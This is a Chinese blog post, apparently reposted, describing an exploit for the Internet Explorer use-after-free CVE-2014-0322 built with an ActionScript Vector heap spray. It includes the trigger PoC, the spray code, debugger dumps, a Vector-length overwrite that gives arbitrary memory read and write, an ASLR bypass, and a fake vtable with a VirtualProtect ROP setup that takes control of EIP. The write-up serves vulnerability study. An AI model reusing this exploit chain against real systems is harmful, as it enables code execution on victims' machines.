CVE-2014-0322 Exploit ActionScript Heap Spray

栏目: JavaScript · 发布时间: 6年前

内容简介:之前调试CVE-2014-0322这个洞的时候用的是Js的heapspray技术,这几天因为在项目中尝试一点新的利用方法稍微做了点关于ActionScript的喷射利用技术,还是挺有意思,不过也是和Js的heapspray技术差不太多。总体利用思路是通过漏洞修改数组长度达到地址任意读写,继而leak基址构造rop,修改虚表指针达到控制eip跳到rop链。调试环境:CVE-2014-0322在之前的漏洞分析文章中已经提过了,一个经典的UAF漏洞,通过控制内存占位可以达到inc一个字节的目的,内存占位的poc

之前调试CVE-2014-0322这个洞的时候用的是Js的heapspray技术,这几天因为在项目中尝试一点新的利用方法稍微做了点关于ActionScript的喷射利用技术,还是挺有意思,不过也是和Js的heapspray技术差不太多。总体利用思路是通过漏洞修改数组长度达到地址任意读写,继而leak基址构造rop,修改虚表指针达到控制eip跳到rop链。

调试环境:

Windows 7 SP1
mshtml 10.0.9200.16438
kernel32 6.1.7601.17932
Adobe Flash 15.0.0.223

0x02 漏洞分析

CVE-2014-0322在之前的漏洞分析文章中已经提过了,一个经典的UAF漏洞,通过控制内存占位可以达到inc一个字节的目的,内存占位的poc

function handler() {
  this.outerHTML = this.outerHTML;

    elem = document.createElement("div");
    elem.className = add(0x7c/2) + dword2date(0x12121008) + add(0x14/2) + dword2date(0x12121000) + dword2date(0x12121008) + add(0x10/2) + dword2date(0x12120ff3) + add(0x290/2-2);			
}

0x03 ActionScript Vector 喷射

测试采用的是Flash 15的版本(实际测试15、16、17、18都可以很好的支持)

public function Main():void 
	{
		for (var i:int = 0; i < spray.length; i++) {
			spray[i] = new Vector.<uint>(1008)
			spray[i][1] = 0x12121014
			spray[i][2] = 0x12120d28
		}
}

这样可以在IE10的环境下(IE11也支持)精确的喷射。

0:018> dd 12122000
12122000  000003f0 064b2000 00000000 12121014
12122010  12120d28 00000000 00000000 00000000
12122020  00000000 00000000 00000000 00000000
12122030  00000000 00000000 00000000 00000000
12122040  00000000 00000000 00000000 00000000
12122050  00000000 00000000 00000000 00000000
12122060  00000000 00000000 00000000 00000000
12122070  00000000 00000000 00000000 00000000
0:018> dd 12123000
12123000  000003f0 064b2000 00000000 12121014
12123010  12120d28 00000000 00000000 00000000
12123020  00000000 00000000 00000000 00000000
12123030  00000000 00000000 00000000 00000000
12123040  00000000 00000000 00000000 00000000
12123050  00000000 00000000 00000000 00000000
12123060  00000000 00000000 00000000 00000000
12123070  00000000 00000000 00000000 00000000

可以看出每一个Vector对象中第一个dword是对象的大小,第二个是应该是对象指针,第三个dword以后就是Vector的数据了,这样我们就可以通过漏洞修改某一个Vector数组的长度直接数组越界写,在修改下一个Vector的长度为0xffffffff直接达到内存任意读写目的(这里adobe居然没有进行任何安全检查简直ZZ Orz)

0x04 内存任意读写

在将一个Vector的长度修改以后,接下来就可以越界读写后一个Vector的长度大小,直接简单粗暴修改为0xffffffff,内存任意读写

0:018> dd 12122000
12122000  ffffffff 05f32000 00000000 12121014
12122010  12120d28 00000000 00000000 00000000
12122020  00000000 00000000 00000000 00000000
12122030  00000000 00000000 00000000 00000000
12122040  00000000 00000000 00000000 00000000
12122050  00000000 00000000 00000000 00000000
12122060  00000000 00000000 00000000 00000000
12122070  00000000 00000000 00000000 00000000

0x05 leak基址 & Bypass ASLR

leak基址就很简单了,已经内存任意读,读到Vector对象的虚表地址,直接根据偏移就可以计算出Flash的加载基址,获得Flash的基址以后,在根据Flash的导入表就可以得到VritualProtect地址,根据leak的VritualProtect地址就可以很方便的构造一个非常简单的rop链。

0x06 控制eip & Bypass DEP

控制eip我们需要修改Vector对象的虚表,将Vector的虚表指针修改成堆上的地址,在调用Vector的函数控制eip。

write(spray[i][i2 + 1] - 1, 0x12122008, i)   //将Vector对象的虚表改为堆上的地址,伪造一个虚表

//伪造一个虚表,使得执行writeUTF函数的时候指向的是xchg_eax_esp的地址,达到控制eip的效果,在bypass DEP
spray[i][00] = virtualprotect_addr
spray[i][01] = 0x121220a0
spray[i][02] = 0x12122018
spray[i][03] = 0x200
spray[i][04] = 0x40
spray[i][05] = 0x12122008
spray[i][35] = xchg_eax_esp_addr

//调用虚函数,控制EIP
ba.writeUTF("calc")

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

可伸缩架构

可伸缩架构

【美】Lee Atchison / 张若飞、张现双 / 电子工业出版社 / 2017-7 / 65

随着互联网的发展越来越成熟,流量和数据量飞速增长,许多公司的关键应用程序都面临着伸缩性的问题,系统变得越来越复杂和脆弱,从而导致风险上升、可用性降低。《可伸缩架构:面向增长应用的高可用》是一本实践指南,让IT、DevOps和系统稳定性管理员能够了解到,如何避免应用程序在发展过程中变得缓慢、数据不一致或者彻底不可用等问题。规模增长并不只意味着处理更多的用户,还包括管理更多的风险和保证系统的可用性。作......一起来看看 《可伸缩架构》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

URL 编码/解码
URL 编码/解码

URL 编码/解码

MD5 加密
MD5 加密

MD5 加密工具